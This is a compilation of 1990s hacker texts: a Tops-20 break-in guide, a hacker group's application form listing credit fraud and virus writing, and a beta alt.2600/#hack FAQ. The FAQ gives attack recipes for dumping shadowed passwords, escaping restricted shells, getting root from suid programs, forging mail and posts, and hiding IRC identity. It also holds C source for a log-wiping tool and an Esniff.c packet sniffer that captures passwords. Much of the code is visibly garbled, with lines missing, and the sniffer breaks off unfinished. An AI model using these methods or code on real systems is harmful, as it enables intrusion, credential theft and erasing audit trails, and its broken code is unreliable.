Note on Tops-20 Systems by The Blue Archer and the Legion of Hackers!

Notes On Tops-20 Systems
The Blue Archer and The Legion of Hackers!

Notes in brackets require the brackets.(2) This is just a basic overlay of the
tops-20(Dec-20) And it’s commands since most of these systems are modified by
their owner and the commands might be different in some way or another. Now for
the article…Logging in, in a brief description: to login you type:login
username Where username is a wildcard for the account you are trying to break
into. There are a couple of ways to get usernames. One of the most common ways
is to type ‘SY’ at the prompt. This means systat, or system status. It will
give you a list of users on the system at the time and what they are doing
(what programs they are running, etc). Another way, and a way I find more
effective since it gives you a much broader scope of usernames is to type
a letter or serr If there are more then one username it will give you a beep,
then you just type in another letter. Example: login a(esc) It gives me a
beep because there are more then one user with the beginning letter a.

So I type an m, an something like this: login ammons (password) these letters
for the username ammons were just filled in. It says password, then you type
a guess at the password, then return for a try at the pass or you can type in
another escape and it will say ‘(account)’, here you usualy just type another
escape and let it fill in an account name, which the user may use for a pass-
word. Lets assume you got in, so we can continue with the file. Ok, you prob-
ably want to know if this guy has priveldges or not. To do this type ‘I dir
‘ and it will list out various information. The various privs are
normal(dull), operator, and wheel. If you find one with operator privs, it
is as good as having one with wheel since an operator can give the account
wheel access. Don’t confuse operator priveledges with the username operator.
You can have oper pvivs and not be an operator , it has happened to me before.

To be able to use these privs type the command ‘enable’. You will now have a
different prompt also. We will discusda is to see what kind of files this guy
(or other people, if you have good privs)has. To do this type ‘dir’ for
divectory. This will list the guy’s files. There are various types of files.
We wil discuss 3 types and how to use them. The first is the file type ‘exec’.
Which means executable from command level(the main prompt). To use this kind,
you just type the filename at the command level. These files, in a directory,
are in the form of: filename.exe.#

These files are usually programs and the like. The next kind of file we will
discuss is the text file. They are in the form of: fihename.txt(or text).# To
view the contents of these files(that is all they are for) you just type
‘type filename’. You can also type the other files types via the ‘type’
command, but it usualy is just garbage unless you know about programing
ddt and other various languages in the file. The last file type we will
discuss is the command file. It is in the format of: filename.cmd.# To use this
file you type ‘take filename’. This is valid logout.cmd files to set the
terminal types, and do various other things. Other filetypes are bin, which are
used by other programs. They just containg data for the program, so run the
program not this. Some files dont say what they are and the only way
you have of knowing what they are is trying all of the above. To look at other
people’s directories type: dir If you are not wheeled, then as to
whether or not you can access the persons files, depends on his protection.

Some leave it high, so anyone can see the files. Some set it very low so no one
except they and the wheels/operators can access them. If you are a wheel you
can access anyones files at all. To utilize someone elses files, just type:
command(take, type, or the filename, depending on the file type)
filename.filetype.# Also, if there is only one filename under the
file, you don’t need to type the number, and some of the commands can be
abreiviated (Ie:ty for type, etc). The system also has files, to access them
type ‘dir syfilename.filetype.# Then you don’t have to type out all
the extra file info to use the program if you are going to use it often, or
just like it for whatever reason. Ok, now done with files say you want to
create an account (if you are wheeled, that is, here is how you do it.) Type:
build password you will then have 2 prompts, type
(without the prompts): max ###(however many subdirectories you want to be able
to create, up to 999 or so) Not files wheel, if you want wheel access
(of course)(rmturn) Oh, dont forget to type enable before doing this. On these
systems only a wheel or an operator can create accounts. If you don’t want to
create an account(or you do but want to do this too!), to get a list of all the
passwords, if the system password file isn’t encrypted, type: ulist then the
word ‘include’ which means include password, and you might also want to type
‘alphabetic’ for an alphabetical list of usernames and passwords.

To change the password of the acask you the new pass twice and the old one
once. Ok, finished with that.

Now: communicating with other users. The first and most obvious way is mail.
On most systems if you type ‘mm’ it will take you to the mailing section.
There you can send, read, delete, whatever, to the mail you have.
To send, just type ‘send’ then fill out the info. To read type ‘r #’ where #
is the number of the piece of mail you want to read. Mail is kept in the file
‘mail.txt’ and it keeps all the mail the user gets unless he deletes it, so
you can read old mail and stuff looking for more p/ws dialups, etc.. The next
way is to communicate to on-line users. You can send them a message by typing
‘send username’ then fillhng out a message. Or you can link to the user by
typekng ‘talk username’. Then your screens are linked. You can do this with
more then one person. So you could have as many people linked as you want.

Another way of communication is the devious way, spying. You can only do this
if you are a wheel. Just type spy at thent type the username of the person to
be spied on. Be warned wheels often do this to check on the system. So watch
what you are doing if someone is sitting in exec for an hour or something, or
someone is running the spy command. You can tell this by systat. Unless of
course there is no one else on the system (late at night) then you dont have
to worry. Oh, I forgot to mention, in a systat, if the part ‘line’ says ‘det’
then don’t worry about them, they are detached, meaning they are not logged in,
but the next time they log in, the can attach to that job and continue where
they left off. If you hang up you are also detached. Oh, I almost forgot, one
more way to communicate is the advise command. To use this, type: advise
username and you have control over his terminal.

[Mother Earth BBS]

Application to Join Network Hackers Alliance (June 1, 1991)

Network Hackers Alliance INC

Inphiniti’s Edge BBS 06/01/91

Due to the fact of recent bustings as of 06/01/91. ISCC has radically
changed. It is strictly a private elite group. ‘Inphiniti’ was
questioned on 06/02/91 by two blue vested fbi agents. ‘Inphiniti’ knows
not what the saught, but they didn’t find shit.

Notice of Warning to the Applicant:
ISCC is a non-profit orginzation setup to educate the general
elite public. Any uses of any of our tech journals is strongly
discouraged and the authors and editors hold no responsibility for
the actions that are taken by the reader. All uses of all information
for a beneficial use are also strongly discouraged.

Please do not lie on this application. All information will we check
to the best of our efforts. If you are found to lie on this application
you will not be allowed into ISCC-PUNK. If accepted and found to lie
on your application your ass is out of the group as fast as you came
into the group.

Real Name:
Voice Number:
Date Number:
Address #1:
Address #2:

‘X’ the boxes inwhich you know most about the subject.

[ ] Hacking [ ] Viral Development
[ ] Unix/Vax Etc [ ] Anarchism
[ ] Networks [ ] Art of Crashing/Trashing
[ ] Phreaking [ ] Credit Fraud

What groups are you a current member if any

In the following lines please explain to me all you know about
‘Extenders’ and their uses in general.

In the following lines please explain to me all you know about
‘Unix/Vaxs/Networks’ and their uses in general.

In the following lines please explain to me all you know about
‘Diverters/Loops’ and their uses in general.

In the following lines please explain to me all you know about
‘PBXs’ and their uses in geneal.

In the following lines please explain to me all you know about
‘Hacking’ into InterNet/Tyment etc and all the uses..

Have you ever social engineered anything?

Please define the following acronyms.

In the next 50 lines please write a H/P text file on whatever
subject you like. Make this worth while as if we are going
to use it for future release. (Nothing smaller than 35 lines
will be accepted) If you have already written a H/P file attach
it to this application and tell us about it.


Are you a sysop?
Are you applying to be a Dist Site?
Are you applying to be a writer?
Are you applying to be a Sublingual Writer?

Dist Site Application
ISCC System must be 24 hour systems running at the minium of 1200
bps with the smallest a 5 meg drive. Must have users fro other area
codes currently calling (20% of users must be LD) and the board must
be within respectful looks/ideas and users. Exceptions may be made.

BBS Name:
BBS Number:
BBS Software:
BBS Total Storage:
BBS SysOp:
Does this BBS Support any other groups?
If yes which ones?

FAQ: The Alt.2600/#hack FAQ Beta, by Voyager of TNO (December 18, 1994)

From (Will Spencer)
Newsgroups: alt.2600,alt.answers,news.answers
Subject: alt.2600 FAQ, Beta .010 - Part 1/1
Followup-To: alt.2600
Reply-To: (FAQ Comments address)
Summary: This posting contains a list of Frequently Asked
	 Questions (and their answers) about hacking.  It
	 should be read by anyone who wishes to post to the
	 alt.2600 newsgroup or use the IRC channel #hack.

Archive-name: alt-2600-faq
Posting-Frequency: Random
Last-Modified: 1994/12/18
Version: Beta .010

Editors Note: Welcome to Beta .010 of the alt.2600/#hack FAQ!

              Eleet greets go out to Outsider for producing an
              excellent WWW version of this document at:

              The purpose of this FAQ is to give you a general
              introduction to the topics covered in alt.2600 and
              #hack.  No document will make you a hacker.

              If you have a questions regarding any of the topics
              covered in the FAQ, please direct it to alt.2600 or
              #hack.  Please do not e-mail me with them, I'm getting

              If your copy of the #hack FAQ does not end with the
              letters EOT on a line by themselves, you do not have the
              entire FAQ.

                                 ** BETA **

                             Beta Revision .010

			    alt.2600/#Hack F.A.Q.

                        A TNO Communication Production


				Sysop of
			     Hacker's Haven

			   With special thanks to:

        A-Flat, Al, Aleph1, Bluesman, C-Curve, DeadKat, Edison,
        Hobbit, KCrow, Major, Marauder, Novocain, Outsider, Presence,
        Rogue Agent, sbin, Taran King, Tomes and TheSaint.

		       We work in the dark
		       We do what we can
		       We give what we have
		       Our doubt is our passion,
		       and our passion is our task
		       The rest is the madness of art.

				-- Henry James

Section A: Computers

  01. How do I access the password file under Unix?
U 02. How do I crack Unix passwords?
  03. What is password shadowing?
  04. Where can I find the password file if it's shadowed?
  05. What is NIS/yp?
  06. What are those weird characters after the comma in my passwd file?
  07. How do I access the password file under VMS?
  08. How do I crack VMS passwords?
  09. How do I break out of a restricted shell?
  10. How do I gain root from a suid script or program?
  11. How do I erase my presence from the system logs?
  12. How do I send fakemail?
  13. How do I fake posts to UseNet?
  14. How do I hack ChanOp on IRC?
  15. How do I modify the IRC client to hide my real username?
U 16. How to I change to directories with strange characters in them?
  17. What is ethernet sniffing?
  18. What is an Internet Outdial?
  19. What are some Internet Outdials?
U 20. What is this system?
U 21. What are the default accounts for XXX ?
  22. What port is XXX on?
  23. What is a trojan/worm/virus/logic bomb?
U 24. How can I protect myself from virii and such?
  25. What is Cryptoxxxxxxx?
  26. What is PGP?
U 27. What is Tempest?
  28. What is an anonymous remailer?
  29. What are the addresses of some anonymous remailers?
  30. How do I defeat copy protection?
  31. What is

Section B: Telephony

U 01. What is a Red Box?
U 02. How do I build a Red Box?
  03. Where can I get a 6.5536Mhz crystal?
  04. Which payphones will a Red Box work on?
N 05. How do I make local calls with a Red Box?
U 06. What is a Blue Box?
  07. Do Blue Boxes still work?
  08. What is a Black Box?
U 09. What do all the colored boxes do?
  10. What is an ANAC number?
  11. What is the ANAC number for my area?
  12. What is a ringback number?
U 13. What is the ringback number for my area?
  14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
U 17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
  20. What is scanning?
  21. Is scanning illegal?
  22. Where can I purchase a lineman's handset?
  23. What are the DTMF frequencies?
  24. What are the frequencies of the telephone tones?
U 25. What are all of the * codes?
  26. What frequencies do cordless phones operate on?

Section C: Resources

U 01. What are some ftp sites of interest to hackers?
U 02. What are some newsgroups of interest to hackers?
U 03. What are some telnet sites of interest to hackers?
U 04. What are some gopher sites of interest to hackers?
U 05. What are some World wide Web (WWW) sites of interest to hackers?
  06. What are some IRC channels of interest to hackers?
U 07. What are some BBS's of interest to hackers?
U 08. What books are available on this subject?
U 09. What are some mailing lists of interest to hackers?
U 10. What are some print magazines of interest to hackers?
U 11. What are some organizations of interest to hackers?
  12. Where can I purchase a magnetic stripe encoder/decoder?
N 13. What are the rainbow books and how can I get them?

Section D: 2600

  01. What is alt.2600?
  02. What does "2600" mean?
  03. Are there on-line versions of 2600 available?
  04. I can't find 2600 at any bookstores.  What can I do?
  05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

Section E: Miscellaneous

  01. What does XXX stand for?
  02. How do I determine if I have a valid credit card number?
  03. What bank issued this credit card?
  04. What are the ethics of hacking?
U 05. Where can I get a copy of the alt.2600/#hack FAQ?

U == Updated since last release of the #hack FAQ
N == New since last release of the #hack FAQ

Section A: Computers

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd.  On a Unix system
with either NIS/yp or password shadowing, much of the password data
may be elsewhere.

02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted.  Unix
passwords are encrypted with a one way function.  The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists.  Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.

The best cracking program for Unix passwords is currently Crack by
Alec Muffett.  For PC-DOS, the best package to use is currently

03. What is password shadowing?

Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.

To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.


#include <pwd.h>
struct passwd *p;
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);

04. Where can I find the password file if it's shadowed?

Unix                  Path                            Token
AIX 3                 /etc/security/passwd            !
       or             /tcb/auth/files/<first letter   #
                            of username>/<username>
A/UX 3.0s             /tcb/files/auth/?/*
BSD4.3-Reno           /etc/master.passwd              *
ConvexOS 10           /etc/shadpw                     *
ConvexOS 11           /etc/shadow                     *
DG/UX                 /etc/tcb/aa/user/               *
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x        /tcb/auth/files/<first letter   *
                            of username>/<username>
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow
                      <optional NIS+ private secure maps/tables/whatever>
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *

05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages).  The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data.  NIS is not designed to promote system security.  If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:


To view the real password file use this command "ypcat passwd"

06. What are those weird characters after the comma in my passwd file?

The characters are password aging data.  Password aging forces the
user to change passwords after a System Administrator specified period
of time.  Password aging can also force a user to keep a password for
a certain number of weeks before changing it.

] Sample entry from /etc/passwd with password aging installed:
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash

Note the comma in the encrypted password field.  The characters after
the comma are used by the password aging mechanism.

] Password aging characters from above example:
] M.z8

The four characters are interpreted as follows:

  1: Maximum number of weeks a password can be used without changing.
  2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in.  The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password.  Only root can
change that users password.

It should also be noted that the su command does not check the password
aging data.  An account with an expired password can be su'd to
without being forced to change the password.

                        Password Aging Codes
|                                                                        |
| Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |
|    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |
|                                                                        |
| Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |
|    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|                                                                        |
| Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |
|    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
|                                                                        |
| Character:  w  x  y  z                                                 |
|    Number: 60 61 62 63                                                 |
|                                                                        |

07. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However,
unlike Unix, most users do not have access to read the password file.

08. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and

09. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function.  A good example is vi.  Run vi and use this command:

:set shell=/bin/sh

then shell using this command:


10. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS.  IFS is the Internal
Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:


and you change IFS to '/' the shell will them interpret the
proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell

2. link the script to -i

Create a symbolic link named "-i" to the program.  Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode.  This only works on suid shell scripts.


% ln -i
% -i

3. Exploit a race condition

Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.


nice -19 suidprog ; ln -s evilprog suidroot

4. Send bad input to the program.

Invoke the name of the program and a separate command on the same
command line.


suidprog ; id

11. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));

void kill_wtmp(who)
char *who;
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;

void kill_lastlog(who)
char *who;
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));

    } else printf("%s: ?\n",who);

int argc;
char *argv[];
    if (argc==2) {
    } else

12. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from.  Enter your message as in this example:


	Please discontinue your silly Clipper initiative.

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work.  Test by sending yourself fakemail first.

For more informationm read RFC 822 "Standard for the format of ARPA
Internet text messages."

13. How do I fake posts to UseNet?

Use inews to post.  Give inews the following lines:


For a moderated newsgroup, inews will also require this line:


Then add your post and terminate with <Control-D>.


 From: Eric S. Real
 Newsgroups: alt.hackers
 Subject: Pathetic bunch of wannabe losers
 Message-ID: <>
 Date: Fri, 13 Aug 1994 12:15:03
 Organization: Moral Majority

 A pathetic bunch of wannabe losers is what most of you are, with no
 right to steal the honorable title of `hacker' to puff up your silly
 adolescent egos. Get stuffed, get lost, and go to jail.

                                        Eric S. Real <>


Note that many systems will append an Originator: line to your message
header, effectively revealing the account from which the message was

14. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on.  When
that server reconnects to the net, you will have ChanOp on the real
channel.  If you have ServerOp on a server, you can cause it to split
on purpose.

15. How do I modify the IRC client to hide my real username?

Get the IRC client from /irc/clients.  Look at the source
code files irc.c and ctcp.c.  The code you are looking for is fairly
easy to spot.  Change it. Change the username code in irc.c and the
ctcp information code in ctcp.c.  Compile and run your client.

Here are the diffs from a sample hack of the IRC client.  Your client
code will vary slightly depending on what IRC client version you are

*** ctcp.c.old  Wed Feb 10 10:08:05 1993
--- ctcp.c      Fri Feb 12 04:33:55 1993
*** 331,337 ****
	struct  passwd  *pwd;
	long    diff;
	int     uid;
!       char    c;

	 * sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
	struct  passwd  *pwd;
	long    diff;
	int     uid;
!       char    c, *fing;

	 * sojge complained that ircII says 'idle 1 seconds'
*** 348,354 ****
	if (uid != DAEMON_UID)
  #endif /* DAEMON_UID */       
!               if (pwd = getpwuid(uid))
			char    *tmp;

--- 348,356 ----
	if (uid != DAEMON_UID)
  #endif /* DAEMON_UID */       
!               if (fing = getenv("IRCFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
			char    *tmp;

*** irc.c.old   Wed Feb 10 06:33:11 1993
--- irc.c       Fri Feb 12 04:02:11 1993
*** 510,516 ****
		malloc_strcpy(&my_path, "/");
	if (*realname == null(char))
		strmcpy(realname, "*Unknown*", REALNAME_LEN);
!       if (*username == null(char))
		if (ptr = getenv("USER"))
			strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
		malloc_strcpy(&my_path, "/");
	if (*realname == null(char))
		strmcpy(realname, "*Unknown*", REALNAME_LEN);
!       if (ptr = getenv("IRCUSER"))
!               strmcpy(username, ptr, NAME_LEN);
!       else if (*username == null(char))
		if (ptr = getenv("USER"))
			strmcpy(username, ptr, NAME_LEN);

16. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information,
most often warez (commercial software).

There are several things you can do to determine what these strange
characters are.  One is to use the arguments to the ls command that
cause ls to give you more information:

From the man page for ls:

    -F   Causes directories to be marked with a trailing ``/'',
	 executable files to be marked with a trailing ``*'', and
	 symbolic links to be marked with a trailing ``@'' symbol.

    -q   Forces printing of non-graphic characters in filenames as the
	 character ``?''.

    -b   Forces printing of non-graphic characters in the \ddd
	 notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine.  Then you can do a "cat -t -v -e filename" too see exactly
what those bizarre little characters are.

From the man page for cat:

    -v  Causes non-printing characters (with the exception of tabs,
	newlines, and form feeds) to be displayed.  Control characters
	are displayed as ^X (<Ctrl>x), where X is the key pressed with
	the <Ctrl> key (for example, <Ctrl>m is displayed as ^M).  The
	<Del> character (octal 0177) is printed as ^?.  Non-ASCII
	characters (with the high bit set) are printed as M -x, where
	x is the character specified by the seven low order bits.

    -t  Causes tabs to be printed as ^I and form feeds as ^L.  This
	option is ignored if the -v option is not specified.

    -e  Causes a ``$'' character to be printed at the end of each line
	(prior to the new-line).  This option is ignored if the -v
	option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to
enclose the entire directory name in quotes.  Example:

cd "..<TAB>"

On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special character
on your numeric keypad.  When you release the <ALT> key, the special
character should appear on your screen.  An ASCII chart can be very

Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in qustion to another character.

From the man page for stty:

    Control assignments

    control-character C
                      Sets control-character to C, where control-character is
                      erase, kill, intr (interrupt), quit, eof, eol, swtch
                      (switch), start, stop or susp.

                      start and stop are available as possible control char-
                      acters for the control-character C assignment.

                      If C is preceded by a caret (^) (escaped from the
                      shell), then the value used is the corresponding con-
                      trol character (for example, ^D is a <Ctrl>d; ^? is
                      interpreted as DELETE and ^- is interpreted as unde-

Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.

17. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you.  When your software sees a
packet that fits certain criteria, it logs it to a file.  The most
common criteria for an interesting packet is one that contains words
like "login" or "password."

Many ethernet sniffers are available, here are a few that may be on
your system now:

OS              Sniffer
~~              ~~~~~~~
HP/UX           nettl (monitor) & netfmt (display)
                nfswatch        /* Available via anonymous ftp           */
Irix            nfswatch        /* Available via anonymous ftp           */
SunOS           etherfind
                nfswatch        /* Available via anonymous ftp           */
Solaris         snoop
DOS             ETHLOAD         /* Available via anonymous ftp as        */
                                /*                          */
                The Gobbler     /* Available via anonymous ftp           */
                Netzhack        /* Available via anonymous ftp at        */
                                /* */
                                /* /pub/netzhack.mac                     */
Macintosh       Etherpeek

Here is source code for an ethernet sniffer:

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
     time_t  Time;              /* start time */
     struct in_addr SRCip,
     u_int   SRCport,           /* src/dst ports */
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */

char *NOWtm()
{ time_t tm;
  return( Ptm(&tm) );

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
    CLr = CLr->Next;

 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;

   fprintf(LOG,"\n-- \n");

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
    CLroot = CLe->Next;

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
